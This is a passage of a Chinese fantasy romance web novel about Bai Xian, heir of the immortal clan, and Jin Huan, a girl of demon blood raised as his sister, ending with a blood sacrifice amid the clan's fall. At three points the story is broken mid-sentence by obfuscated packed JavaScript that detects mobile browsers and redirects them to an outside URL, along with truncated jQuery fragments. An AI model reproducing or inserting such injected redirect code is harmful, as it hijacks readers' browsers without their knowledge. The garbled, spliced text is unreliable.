听过三日的风言风语,年仅五岁的白闲终于等来仙主的传召,在门窗紧闭的偏殿中见到传闻里父亲私生的另一个骨肉。 蓝白花缎的襁褓之中,婴儿安然熟睡,睫羽浓密,眉眼巧致,不难料见日后的风华绝代,唯独一道诡谲的赤纹从眉头蔓延至眼尾,仿佛一道伤疤,令人扼腕。 “这是胎记。”仙主解释道,扬手洒下点点白光,消去那道赤纹,“以秘法暂时掩盖,莫让外人瞧见了。” “她无姓无氏,唤作尽欢。”仙主一顿,“日后,便是你妹妹了,好生照看。” 这分明是魔纹。白闲瞧一眼心虚的母亲,接过这个从天上掉下来的妹妹,俯首应是。 吸取灵族教训,仙族独育世子,于是尽欢,这个明面上的妹妹,在仙君保持沉默,仙主力排众议的局面下,顺利入住唯一的行宫,与白闲同住。 虽有专门的仆役照料日常起居,但从小开始,就惹下不少需要他出面解决的麻烦事。 “殿下,咱欢姑娘又跟人打起来了。” 提起的笔锋一顿,再度落下。待写完最后一字,白闲搁下笔,看着墨迹晕染开来,“吃亏了?” 白一小声道,“这回打的是松氏之子,白淞。” 是不能随便打发的人。白闲整理好仪容,淡淡道:“去看看吧。” 二人一前一后穿过长廊,尚隔着一堵墙,听见愤怒的谩骂声。 “你居然敢腆着脸爬殿下的床!” 说的都是些什么?白闲皱眉,对白一使了个眼色,后者意会,立即朗声道:“是何人在此大放厥词?” 话音刚落,白闲迈进园中,见两名重甲大汉架起七八岁的女童,任由对面的白淞指着鼻子骂个不停。 见白闲亲自到来,白淞及大汉们皆是一愣,惶恐道,“见过殿下。” 女童趁机挣脱,狠狠踹了白淞一脚,小跑着躲到白闲身后,探出头比了个鬼脸。 “殿下,你看她!”白淞指着衣摆上的脚印,眼泪汪汪地控诉,“你看她把我打成什么样子!”他忿忿不平地展示脸上青紫,又张开嘴,露出门牙上的缺口。 “牙是他自己摔的。”身后人适时补充。 白闲头疼起来,“所为何事?” “今日上门本是有事求教殿下,偶遇她鬼鬼祟祟,不知道想对殿下做什么!”白淞愤愤道,“故我一路跟随,发现她竟进了殿下房间,若无旁人地睡在您榻上!真是岂有此理!” “确有此事?”白闲侧首问。 女童点点头,坦然道:“我那屋太晒,睡不着。” “狗屁!你今已满七岁,哪里不知男女有别?你分明就是肖想殿下!” “男女有别?肖想?”女童满脸疑惑。 “你……”白淞瞪大了眼,“你竟敢装傻充愣!” “好了。”白闲及时叫停这场纷争,安抚白淞,欲将小事化了,“阿欢,给公子道歉。” “我又没做错,为什么要道歉?”女童撇嘴,“是他先骂我,我才动手的,谁知道他那么弱。” “你!你……”白淞气得浑身发抖,一个激灵,眼慢慢翻了上去。 “公子!公子!” 好在白一眼疾手快,及时接住了晕过去的白淞,等到混乱平息,女童又不知跑哪去了。 白闲无奈拱手,“我代阿欢向公子赔罪。” 月上枝头,白闲重写了白日被打断的题字,搁笔起身,转入屏风后解衣,准备沐浴,门却被人敲响,见来人急切,不得已草草穿上衣物,打开门。 女童捧着数十本典籍,摞成半人高,只露出额头以上,“公子,我有事请教。” 即便知道她看不见,白闲仍是把住松垮的腰带,温声道:“夜深了,不如明日再议?” “晚上会睡不着。”女童道。 “……也罢,进来吧。”白闲回到屏风后,重新穿戴整齐,再出来时,见她随手拿过案上茶盏啜饮,眼皮一跳。 “茶凉了,不便多饮。”白闲不动声色地拿回茶盏,打算速战速决,“有何疑惑?” 女童哼哧哼哧翻开典籍,停在泛黄的一页上,“依这图上之言,男女的骨头数量都是两百零六块,有些形状略有差别,这便是男女有别么?” 白闲犹豫道:“……非也。” 接着她又翻过一页,“还有,同为女体,我发现我的这、这和这里,和书上的不一样,这是为什么?” “你……还小。”白闲含糊道。 “这样。”女童若有所思,又放上第二本,封页上一片粉红花海,几个肆意飞扬的草书。 认出那是什么字,白闲顿觉不妙,“等……” 来不及制止,露骨的图画一张张从眼前闪过,强烈冲击视线。 “但我看这副图,女子在上,而另一副则在下,男子亦是如此,岂不是说明男女并无差别?” 白闲不敢看她,道:“你……可知他们在做何事?” “不是在打架吗?”女童指了指画上似痛苦又似欢愉的表情,皱眉,“好像在发疯。” 白闲近乎气声:“你还小……” “你是说,我长大了也会这样?”女童脸色骤变,如临大敌。 对上她坦荡的双眼,白闲自愧弗如,沉思半晌,方道,“人贵有七情六欲,所执各不相同……” 白闲尽量讲的通俗,“就像你喜食甜腻,不喜辛辣。同理,有人喜此,有人厌恶,都是自然。”说罢,他又补上一句,“然此事极为重要,少时不可为之。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381630|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “记住了。”女童点点头,转而求证一些轶事的真假,白闲松了口气,一一认真作答。 “多谢公子。”女童颔首,开始收拾案上书籍。 她总是叫他公子,不叫殿下,既不明礼教,也不懂尊卑,还总是惹是生非。 烛火忽闪,窗上剪影随之晃动。白闲忽然道:“日后不可与男子同榻,无论长幼。” “记住了。”女童头也不抬,“那公子呢?” 唯独他是例外。 白闲握紧五指,不知为何触及掌心冷汗,“应一视同仁。” 但他总是例外。 等再大一些,随着实力渐长,少女在同辈之中独占鳌头,越发趾高气扬,谁也瞧不上,偏偏缠着自己,黏在一块,读白一从宫外偷运回来的话本,内容千奇百怪,有尔虞我诈,亦有缠绵悱恻。 但少女看也不看,翻遍书堆,独独挑出一本最不起眼的、女侠浪迹天涯的故事。 她喜欢自由。白闲很快意识到这一点,尽管她尚不知晓这个词的含义,但自己是唯一的世子,注定会继任仙君。 对他来说,所谓自由,是不能肖想,也不该拥有的东西。 等到十七,白闲过了仙君考校,被准许出宫赏元宵灯节,虽不能独自行动,但比闷头精进六艺强上太多。 “咻——” 轰隆一声巨响,烟火在天际绽放,洒下漫天缤纷。欢呼声一波接着一波,驱散了夜里的寒潮。 察觉大氅内的异动,白闲剧烈咳嗽几声,成功惹来护卫关切的询问,“公子有何不适?” “前些天练剑伤了身,出门太急,忘带药了,能否劳烦你亲自去取一趟?”白闲面露赧意,“药在白一那儿。” 话说到这个地步,加上此处离行宫不远,护卫颔首道,“那您在此处等我。” 见人走远了,白闲轻拍衣摆,“出来吧。” 贴在背上的东西落了下来,接着一阵窸窸窣窣的抖动,腰间忽然被蹭了一下,白闲一颤,旋即被人稳稳扶住。 “你做……”白闲低头去看,视线却被一个玉瓶填满。 “上回切磋我打伤你了?”少女钻出大氅,满脸疑惑,仍执意将玉瓶塞进他手中,“这是仙君赐予我的疗伤圣药。” 触及柔软的指腹,心头被温热烫得一缩,白闲面不改色地推回玉瓶,“已无碍了,你留着用罢。” “真的?”少女歪头道,“你看起来脸色不好。” “我……” 幸好第二发烟花及时解围,人群逐渐围拢,尚未长个的少女见不着全貌,急得在原地像兔子一样,跳来跳去。 白闲忍住笑意,“阿欢,不急。”白一定能领会他的意思,拖延不少时间。 话音未落,却见少女飞身,在惊呼声中踩上房檐,独享浩瀚夜空——她的实力,已然超过他了。 少女低下头来,发丝滑过脸侧,“公子……” “咻——” 第三朵烟花在她眼中盛放,花瓣层层叠叠,次第舒展,簇状蕊心映在茶色瞳仁里,神圣纯净,不容亵渎——令人挪不开视线。 “要上来吗?”欢呼声的浪潮里,白闲听见少女的声音。 或许护卫很快就会回来。白闲想,但不知为何,脚步已然动起来,三两下踏上房檐,与她并肩而立,敛袖笑道:“此处风光更好。” 烟火的余焰仍然熠熠闪光,人潮却安静下来,看客紧闭双眼,双手合十,放在胸前,面色虔诚。 “他们在干什么?”少女小声问,目光闪动。 “他们在许愿。”白闲温声道,“想许便许罢。” 少女点点头,闭上双眼。 在这难得的时刻,白闲近乎贪婪地注视她,将这一幕执笔绘于心间——彩光映出侧脸上细细的绒毛,睫羽纤长浓密,如风经花圃,蝶翅轻轻颤动。 身为仙族世子,白闲本不信祈愿这些,但在这一刻,忽然动摇了。或许呢?他想着,于是在心底开了个头,但又觉得过于贪心,立刻改口。 明年,也一起来赏元宵灯节吧。 64. 道 “殿下,大事不好了!”白一冲进门,气喘吁吁道,“咱欢姑娘被书院的人欺负了!” 白闲正欲歇晌,闻言惊坐起身,迅速整理衣衫,赶往书院。 看热闹的人围了里三层,外三层,密不透风,中心传来阵阵鞭笞声,破开空气,抽得皮开肉绽,哀嚎连连。 见状,白一放声道:“世子殿下到!”这一句掷地有声,人群立刻让出路来,白闲快步迈入其中。 一路花折树断,八九个少年东倒西歪,身上挂了彩,嘴里一个劲儿喊痛,但见到白闲后,立刻缩起脖子,不再吭声。 不算致命伤。白闲松了口气,待看清中心地带,下意识屏住呼吸。 少女一脚踩在少年颈间,重重碾过,靴底的泥污了他领口的金丝剑纹,而她目光灼灼,像是喷吐火光,叫那些同辈不敢与之对视。 眼看长鞭要再次落下,白闲飞身上前,抓住鞭尾,喝道:“住手!” 见鞭尾颤动,试图挣脱,白闲加重力气,直到见到少女眼下的赤纹若隐若现,方动了真怒,“罚你禁足一月!” 赤纹迅速消散,仿佛从梦中醒来,少女眼中闪过一丝茫然,随后丢下长鞭,转身跑了出去,留下白闲收拾烂摊子。 好不容易安抚完伤者,达成交涉,偏偏兰氏临时变卦,派人来施压,直言要联名上禀仙君,讨回一个公道,眼看局面僵持不下—— “我倒是不知,这仙族,如今轮到兰氏掌管了?”仙主大步迈入殿门,气势迫人。 赶上了。白闲与她身后白一对视一眼,放下心来,幸亏这救兵请的及时。 “白凛,别太过分了。”耗尽耐心的兰氏使者拍案而起,“别以为你梅氏就了不起,风水轮流转!” 白凛毫不客气,“你这一氏就剩白墨一个独苗,以多欺少,还被欢儿打成那样,怎好意思说风水轮流转?” “你……你们迟早要毁在这孽障手里!”兰氏使者拂袖而去。尽管对外宣称是仙君骨肉,但对内知根知底的兰竹松三氏而言,其身世早已在暗地里流传。 白凛瞥一眼白闲,“你在同欢儿置气?” “没有。”白闲面色平淡,袖中的五指却悄然握紧,倘若当时她眼下魔纹被其他人瞧见……后果不堪设想! “殿下消消气。”白一接到白凛眼色,犹豫一会儿,掐准时机道,“听说……是兰氏子不敬您在先,欢姑娘这才出手教训他的。” 片刻的沉默后,白凛适时道,“再不寻欢儿回来,她该饿着了。” 分明没有半点饿的迹象。白闲想。 不远处,锦鸡扑腾个不停,叫声刺耳。少女喊道:“过来搭把手。” 白闲淡淡道,“君子远庖厨。” “啧。”一脚踩住尾羽,一手拎起鸡头,少女利落地开刀放血,拔毛去皮,再刮去内脏,清洗干净后剁成数节,丢入冰锅沸水之中,再添上一把柴。 “咕噜咕噜——” 水汤翻滚,颜色逐渐奶白,鲜香味勾得白闲胃里泛起酸意。他着急赶了半天的路,一餐未食,然而罪魁祸首就在自己身边逍遥自在。 白闲忍下怒气,翻出玉简,默读起来。奈何腹中空空,凭生焦躁,他瞥一眼少女,后者正蹲在地上,拨弄纠成团的乱草,衣摆沾了泥。 白闲忍不住道:“你做什么?” “找吃的。”少女言简意赅,起身时攥了两把野菜,圆叶饱满,长茎细嫩,跑在溪边择到一半,又开始打水漂,石片在水面弹跳,一连十七八下。 端正的六艺不学,对这些倒是上心。白闲叹了口气,“你不必同白墨计较。” “咚”的一声,石片悠悠沉入水底。 “他本为兰氏遗腹子,自小受宠惯了,因此歪了德行,不辨是非,我已下令罚他禁足三月,誊抄经书十二卷。” 少女自顾自地脱下鞋袜,卷起衣摆,涉入溪中,在底下摸索起来。水翻起泥沙,洗过她的脚踝,莹白纤细,因抽条太快而不堪一握。 白闲移开视线,接着道:“若你愿同我回去,便作监察之人,大可罚他重抄,以消心头愤懑……” “贝螺吃不吃?” 白闲一噎,话堵在喉头,不上不下。 “带籽的要不要?” “……不要。” “做汤还是干烧?” “做汤。” 赤足踩上沙砾,少女放下一兜白螺,挑挑拣拣,扔回带籽的,再连野菜一同洗净了,丢进冰锅中。待乳汤浮起青绿,她随手捏出冰碗,盛得满满当当,端到他面前,努了努嘴。 清香扑鼻,白闲忍住口腹之欲,继续道:“是我不察之过,你大可罚我……” “饿了吧。”少女懒洋洋道,“那罚你吃完再回去。” 就这样,二人坐在溪边,就着满天繁星,将一锅吃得干干净净,风吹散了积攒的躁郁,只剩鸡汤缠绵的香气。 她根本不会饿着自己。白闲心道,却不曾想过她是何时学会了这些,直至在十四岁的生辰礼上,见她接过父亲赐予的长生剑,听她铿锵有力的声音,“我要去边陲历练。” 于是顿悟,原来不是一时兴起,而是蓄意已久。 后来,白闲时常忍不住想,她是何时做下的打算,是在离开宫门赏灯会的那天,抑或更早——在拿起那本女侠的话本之前? 日子一天天过去,再没有任何消息,活生生的一个人,进了边陲,仿佛泥牛入海,杳无踪迹,若不是命牌尚在,差点以为世上查无此人。 “殿下,欢姑娘回来了!”许久未见,连白一的声音也带上欢欣。 “我这就去。”白闲丢下笔,匆匆跑出门去。 急步穿过长廊,待见到那扇门,不知怎么又慢下脚步,走了足有一炷香时间,他轻轻叩门:“是我。” “请进。” 声音沉稳了些。白闲推开门,定在原地。 风吹开绸巾一角,露出湿淋淋的发,垂至腰际,凌乱地贴在背脊,仿佛古艳的刺青。仅腰间和胸口围了一圈薄甲,除此之外,不着寸缕。 “公子?”那人侧身,露出眼下一道狰狞的伤疤。 “咚!”门轰然关闭。 隔着门,白闲的声音响起,少见的慌乱,“你,你先穿戴整齐。” 少顷,门缓缓打开。她披着素白长袍,衣襟微敞,犹带水汽。 心跳声咚咚作响,沉重地敲击耳膜,白闲低头不敢看,“不是让你穿戴整齐……” “这里没有我能穿的衣物。”那人解释道。 白闲抬起头,这才发现她长高许多,个子几乎与他齐平,只是更为消瘦,好似风雨中坚韧不拔的细竹。 “我那儿……”白闲本想说他那还有些新衣,话一出口,又觉不妥,遂抿唇不语。 “白一给我送了一些。”少女紧了紧腰带,“不过只有这件里衣勉强能穿,他已差人去买别的了。” 白一送的?白闲看清她领口的金丝剑纹,强忍臊意,“将就些。” “将就?”那人不解,“这件穿着还挺舒服的。” “……不必多言。”白闲抚额,随她走进房中,注意到披散的湿发,“湿发伤身,怎不擦干?” “麻烦。”那人随口道。 还是这个性子。白闲无奈地摇头,略微勾指,水汽凝结,乌发生霜,哗啦落了一地晶莹。 “好手段!”那人眼睛一亮。 “日后教你。”白闲含笑道,见到一地脏乱的衣物,又嗅到淡淡的血汗气,“这是……” “我刚回来,还没来得及清理。” 难怪要沐浴,但她这么着急赶回来……白闲轻咳一声,“如此着急做甚?” 那人奇怪道:“试炼不是要开始了么?” “……是。” “听人说欢儿回来了?” “申时方到。”白敬瞧她一眼,“你若想她,我差人宣她明日进殿。” “不必了,她旅途劳累,是该多休息几日。”白凛嘴上说着,沏了茶又坐不住,抿唇一笑,“罢了,几年未见,还是念着,我去见她便是。” 但进了殿门,空荡荡的,无人伺候。白凛望一眼天色,正是华灯初上,不算晚,便召来白一,问:“欢儿歇下了?” “尚未。欢姑娘正与殿下叙旧。” 白凛放下心来,“带路。” “方……才小半时辰前,二人正叙旧,不知现在欢姑娘可否歇下了。”白一低下头,掩住神色。 敏锐察觉到异样,白凛淡淡道:“如此,那便去看一眼吧。” 白一暗叹,不敢在白凛面前动手脚,只得放慢脚步,但一刻钟后,还是走到中庭,听到人声。 “殿下……”白一试图扬声,被白凛抬手制止。 “你且退下,别坏了兴致。”白凛摆摆手,跨过木槛,穿过回廊,拐过弯,顿在原地。 月华昭昭,凉亭之内,两人对坐。准确地说,是白闲端坐桌旁,举棋与自己对弈,而少女半卧长凳,枕手望天,腿翘得老高。 “眼下怎得落了疤?”白闲捏住黑子,抬眼看她,语带怜惜,“受欺负了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384952|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “谁敢欺负我?打得他们找不到北。”少女哼笑道,“一招失手,被妖兽抓了一道而已。” “原来如此。”安稳落下黑子,白闲温声道,“明日差人去寻些祛疤的药,再一并尝尝桂心坊近年新出的花样。” “我要全吃一遍!”少女嚷嚷道。 虽说个子长了许多,但性子却没变多少。白闲笑道,“自是随你。说起来,再过半月,又是元宵灯节,随我去逛一逛如何?” “过两日是试炼,打个七八天的,然后再休息几天……”少女掐指算了算,“来得及。” “如今你倒是大忙人了。”白闲打趣道,“急着去做何事?” 少女来了兴致,“再过二十日,就是年初新月,邑兵最为虚弱之时,我和人打赌,看谁先拿到它的内丹。” 白子停在半空。指腹摩挲螺钿棋,白闲似是思考下一步的路数,微微一笑,“边疆倒有这等妙人,敢和你打赌。” “一个毛头小子罢了。”少女老气横秋地摆了摆手,“剑练得乱七八糟,人吵得不行。” “哦?如何吵法?”白闲落下白子,棋差一招。 “打又打不过我,还死乞白赖地缠着我,要分个高下。”少女打了个哈欠,见白闲从棋盘上拾回黑白二子,一一收入棋奁。 她诧异道:“下完了?” “困了便回去睡吧。”白闲温声道,“赶路辛劳,是我思量不周,拘着你了。” 少女点点头,转身离去。 拾子的手一顿,白闲看着乱糟糟的棋局,不由苦笑,收好棋奁,起身往回走,却在拐角处碰上意想不到的人,“……娘?” “叙旧叙完了?”白凛面色平静。 抓紧怀中棋奁,白闲低头,盯着自己发白的指节,“是儿臣过失,未曾亲自迎接母亲。” “你的过失之处不在这。” “是……是儿臣许久未见,一时叙旧忘了时辰,耽误欢姑娘歇息了。” “装糊涂?”白凛深深看了一眼白闲,挥袖离去,“明日来殿中见我。” 这一天,终究还是来了。白闲心想,进了殿门,颔首行礼,“娘。” 禀退四下仆役,白凛端起茶盏,吹散热气,“最近你与欢儿走的很近?” 白闲维持笑容,“不过讨教些剑招罢了。” “是么?”白凛面色淡淡,指腹却不住地摩挲盏身的冰裂梅纹。 白闲看出她在犹豫,“母亲有话,但讲无妨。” “孩子。”白凛放下茶盏,叹了口气,“欢儿是命定的剑使。” 白闲低声道,“儿臣知晓。” “不,你不知晓。”白凛平静道,“剑使是仙剑的剑鞘,注定会早夭。” 白闲攥紧五指,“但上一任剑使……” “上一任剑使,本该是我。”白凛垂下眼。 她声音幽幽,如钟声从远方传来,叩开通向过去的大门。往事如风,拂过面颊,白闲嗅到尘封的血气。 “当年阳山叛乱,桃林尽毁。魔女殷婳背弃妖族婚约,与我兄长白钰私奔,怀胎三年,临盆时天生异象,雷降四族,追杀令出。” “我先一步找到兄长,却不敌赶来的魔尊,而后达成交易,对外宣称此子胎死腹中。” 白凛回想那一日。暴雨如注,她舍命从殷珅手里夺回襁褓,睡梦中的婴儿惊醒,不仅没哭,反而朝自己咯咯笑了起来,眼尾的魔纹弯弯,犹如新月。 “由此,魔女被擒,关入禁地自省百年,以平妖族之怒,妖族太子因此记恨我族,常派凶兽扰乱边陲。为此,兄长自请仙剑,甘愿流放边疆,以换此女健康成长。” “此后,我以仙君之名收养此女,保她一生平安顺遂。”白凛一顿,“然匹夫无罪,怀璧其罪。” “欢儿实在太过出色,连你……也望尘莫及。”白凛道,“你已属百年难遇的阴阳命格,而她更在你之上,是超脱五行的混沌命格。” 混沌……白闲不动声色地攥紧五指。 “我曾抗争过,但……”白凛叹息,“倘若她不修此道,不成剑使,仙君便要出手,以绝仙族后患。” “这是仙君赐予我的疗伤圣药。” 她的话忽然在耳边响起,白闲死死握住宫椅扶手,难怪她年纪虽小,实力却超出身为世子的自己一大截。 白闲艰难出声,“什么……道?” “不要引诱她。”白凛注视着眼前自己怀胎十月生下的骨肉,神情悲悯,仿佛早已看破他的伪装。 “她不懂,你也不懂吗?” 65. 剑契 “自古,仙族侍奉伏羲氏,魔族侍奉女娲氏,共掌杀伐,因此有仙剑无铭,魔刀长决。” “然二族之中,境况略有差异。魔刀之主,即为魔君,诸多因果皆加其身,极易陷入疯癫,每隔一段时间,必然引起战乱。” “为避祸端,先祖以秘法剥离仙剑凶性,立下剑契,以能者居之,方得百年太平。此身为鞘,此魂为封,蕴养仙剑——这就是剑使的宿命。” 回到房中,白凛的话仍在耳边挥之不去。 见寅时仍未熄灯,白一叩门道,“世子?” “有些……乏了。”白闲闭上眼,“明日的试炼,不必叫我。” 烈日磅礴,难掩热切。这是仙族难得一遇的庆典,处处张灯结彩,榜上名次竞争激烈,换了又换,唯独榜首立于不败之地。 见少女站上擂台,迎来声浪巅峰,观者无不欢呼,感慨仙族后继有人。 华盖之下,白敬扣上茶盏,“殿下呢?” “世子身子不适。”白一颔首,“早早歇下了。” “身为世子,即便有所不适,大事当前,也该忍着才是。”白敬面色不虞,“叫其余三氏见了,落人口实。” “想来是极为难受,才早早歇下了。”白凛劝道。 “当真是惯坏了。”白敬皱眉,“叫他过来。” 这话捎了三分威势,顺着白一口中传进耳里,不到片刻,白闲出现在高台之上。 “仙君,仙主。”白闲行过礼,硬邦邦地杵在白凛身旁,并不落座。 “既然来了,那便开始吧。”白敬淡淡道,“好好看一看——剑使的命运。” 亦是他的命运。白闲想,视线投向不远处的牢笼,夔昂起头来,耳上一粒红珠熠熠闪光,与少女手中染血的长剑相得益彰——她是命定的剑使。 夔独足跳上擂台,苍身滚满电光,一个照面,就夺去少女手中长剑,贴身缠斗。 “吼——”咆哮声犹如惊雷,艳阳天顷刻间被乌云吞噬,化作狂风骤雨,洗过伤痕累累的擂台,飘起红色,逐渐浓郁。 观者鸦雀无声,这哪里是什么试炼,简直像两头凶兽在进行生死厮杀,几乎是拆筋断骨,重塑一遍。 停下,停下……白闲一遍遍在心中呐喊,屏住呼吸,五指紧握成拳,深陷肉中。 在利爪划伤那双眼,血流如注之时,白闲再也忍不下去,推开白一,三两步冲下高台,玉冠被大雨冲歪了,狼狈不堪。 “阿欢!不要再打了!” “不要再打了!” 少女仍然在挥拳,一拳又一拳,用力击打夔的双眼,血混着冰屑从耳朵里流出,沾了满脸,她什么都看不见,也听不见了。 “嗷——”夔发出吃痛的哀叫,电光爆闪,炸得少女浑身抽搐,但她抠住夔耳上那粒红珠,死死不放,终于拽了下来,脸颊溅上大片温热,而眼前一片漆黑。 雷声震耳欲聋。 她站在滂沱大雨里,高举那粒赤红小珠,仰天大笑,仿佛获胜归来的英雄,并不知自己眼下的疤痕痊愈,而后魔纹浮现,流动着向眉心汇聚。 沉寂多时的台下骤然喧哗。 “魔纹!是魔裔!” “不是说仙君一脉……” 事态失控了。白敬沉声道:“将人拿下。” 十六道身影自暗处闪现,齐刷刷向着擂台而去,又蹲住脚步。 “退下!”白闲张开双臂,将人牢牢护在身后。 作为禁卫之首,对上白敬冷厉的眼神,白一不得已颔首,迈出一步,站在两方之间,为难道:“世子殿下。” 一阵急促的咳嗽从身后传来,嗅到浓郁的血腥,白闲猛地回头。 血顺着咳嗽喷涌而出,少女踉跄几步后摔倒在地,但仍勉力起身,忽然间被温暖包围,剧烈挣扎起来,“走,走开!” “是我,是我……”白闲硬生生受下她的拳脚,用力抱住她,“是我,白……公子,我是公子。” 其实她什么也听不见了,但嗅到隐约的一点冷香,顿时泄了力道,强撑着道,“公子……” “别怕,我在这儿。”白闲轻抚她的后背,元力倾泻而出,抚平激荡的气息。 “唔……”她低吟一声,彻底昏迷过去。 “殿下,还请让开。”白一抱拳。 “若我说。”白闲抬起眼,元力倾泻而出,如波涛汹涌的大海。他一字一顿道,“不呢?” “哗啦啦——” 整齐的书案被仙君掀翻,价值连城的玉件和瓷器碎了一地,仆役们跪在地上瑟瑟发抖,不敢吭声。 白敬指着被缚住手脚的白闲,“发乎情,止乎礼,这些道理你学到哪里去了!” “可你困了她十六年!”白闲毅然与仙君对视,质问道,“十六年还不够吗?” “十六年?”白敬冷笑,“你可知白钰与魔女私奔的那些年里,凶兽多次犯我边陲,有多少族人枉死?” 白闲一滞,正要辩解,又被打断:“你该去看看,看看那些人惨死的模样,听听那些亲眷的怮哭!” “那不是她的错!”白闲执拗道。 “啪!” 白闲被这一巴掌打得偏过头去,脑中嗡鸣不止。 “父债女偿,天经地义。”白敬道,“白闲,你身为世子,耽于儿女私情,以下犯上,有悖私德。白一,将世子关入祭庙悔过,若无赦令,不得解禁。” “我……”白闲挣扎着上前。 长剑出鞘一寸,挡在白闲面前。白一恭敬道:“世子,请随我来。” 一路无话,直至熟悉的檐角在云雾中若隐若现,白一听见白闲开了口:“我想再去一趟。” “世子,你不该再见欢姑娘了。”白一低声道。 “她这样,都是我害的,对么?” 见他红了眼眶,白一偏过头去,不再回话。 “白一。”白闲的声音带上恳求的意味。 “仙王有令,不得多言。”终是心有不忍,白一颔首,“您去见欢姑娘最后一面罢,于二位,都好。我在这候着您。” 站在熟门前,白闲慢慢抬起手。 忽然间,传出陌生的男声,“救不了。” 这三个简单的字比那一巴掌更重,激得人血气上涌,头晕目眩。 “为何?灵君有任何需要,尽管提!不惜一切代价……”传来白凛急切的语气。 “夫人。”男子无情打断,“她为何高烧不退,你我心知肚明。” 这沉默令人窒息,白闲深深吸气,收回手,转身离去,看着祭庙的大门在眼前轰然关闭。 许是白凛从中斡旋,又或是老天有眼,在绝食七天之后,白闲终于得见天光,已是形销骨立,不成人形。 “吃一些吧。”白凛一哽,“免得叫欢儿见了难过。” 明明执筷的手抖个不停,白闲仍是强迫自己吃下一些,等缓过劲,又吞下整瓶的丹药,待气色恢复好,仔细打理过仪容,再去房中见她。 但没有见面的机会。少女一直在昏睡,高烧不退,脸色红白交替,呼吸断断续续。 拒绝白凛的劝告,白闲从白天守到黑夜,又守到天亮,如此几日,守走了仆役,终于熬不住,伏倒在榻上。 但这一觉睡得并不安稳,时而是宫外的漫天烟火,时而是祭庙的沉沉黑暗,白闲在光与暗间徘徊,忽然有什么落在脸上,凉凉的,像是绸缎—— 他下意识抓住了,才意识到是一缕发,顿时惊醒,对上那双茶色眼眸。 “感觉怎么样?你已昏迷了九天……”白闲小心翼翼地松开手,“抱歉,我方才……” “九天?”她点点头,“那还来得及。” 白闲一僵,劝道:“你有伤在身,邑兵之约不如作罢,待日后……”但没能再说出话来。 他的手被人牵住了。 窗外夕阳欲坠,温暖的余晖将纱帐的影子投射在她身上,橘红的光晕消去她双颊的苍白,案上的安神香飘来,与药味拥作一团,轻飘飘地浮动。 她轻轻笑起来,“不是说要去逛元宵灯节?” “这就是你想让我看的?” 挥手打破旖旎画面,阿也冷声道:“我娘呢?” 白闲一怔,低低笑了一声,“在这儿。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是你!”白凛追了上来,惊疑不定地叫道,“你这魔女竟敢擅闯……” “魔女?当年你输给我的时候,可不是这样叫的。”殷婳低头看向怀中被喧嚣吵醒的少女,在眉间落下一吻,勾唇一笑,“孩子,看好了。” 随着这一声落下,天……亮了。 像是成千上百个太阳同时升起,炽热的气流吹拂长发,火红的光亮照亮战铠上的龙纹凤羽,偶有破损,皆是尸山血海所铸。 那双妖冶的赤瞳里,仿佛有熔岩流淌。 威势压得众人抬不起头,连那轮孤悬的圆月也不见踪影——明月岂敢与烈日争辉。 难怪,白闲顿悟,难怪当年那场暴乱之中,妖族太子被贬,白钰流放边疆,唯有殷婳被关入禁地,落了个不轻不重的自省百年的惩罚,却无人敢提出异议。 这就是……炎魔。 当年四族那一代继承者之中,唯一拥有封号的女人。 “轰——” 仿佛某种回应,不远处,一道幽蓝光柱冲天而起,刺破了烈日横行的天幕,冰山节节拔高,抗衡这地狱焰河之中不灭的礁石。 无铭正在逼近。 烈日将坠不坠之时,少女埋下头,低声道,“走吧,娘,我们走吧。” “好。”殷婳抱紧她,火龙在脚下逐渐成型。 见白一扬起手,读出进攻的暗语,白闲正要上前,听白凛斥道,“让她走!” “可仙君……”白一迟疑道。 “这里是仙族的王城!”白凛暴喝,“你想让她在这里大开杀戒吗?!” “……是。”白一俯首。 在那光柱迫近之前,殷婳脚踏火龙,大摇大摆地离去,背后火凤与火凰相纠飞舞,抖落艳丽的尾羽,像是一颗颗酝酿的火流星—— 时刻三年,最终还是落了下来,将王城化作一片火海。 “灵族撤兵了,怎么可能?!” 父亲失态的吼叫。 “站起来,白敬!你是仙族的君!” 母亲恨铁不成钢的呐喊。 环顾四周,断壁残垣,尘烟四起,时断时续的哀鸣蜂拥入耳,将思绪搅成一团乱麻,理不出头尾。 仙族……要亡了?白闲茫然,分明半月以前,还是歌舞升平,怎么一眨眼,就沦落为人间炼狱。 不,不,仙族绝不会亡! 白闲蓦地站起,越过那些焦黑的尸身,冲破漫天飞舞的火星,跌跌撞撞地跑向仙宫最深处。 66. 献祭 “吾以仙血向古神青龙献祭,保佑仙族渡过此次难关。” 昏暗的地宫中,白闲恭敬地拜了三拜,手起剑落,鲜红喷涌而出,顺着刻纹一路奔流,在阵眼汇聚,积成薄薄一潭。 一息,两息,三息……没有任何动静。 “吾以仙骨向古神青龙献祭,保佑仙族渡过此次难关。” 剑尖颤抖地抵在掌心,短暂的停顿后,用力贯穿。克制的闷哼声中,一节莹白指骨被掷入阵眼,像一粒石子落入深潭—— 杳无音信。 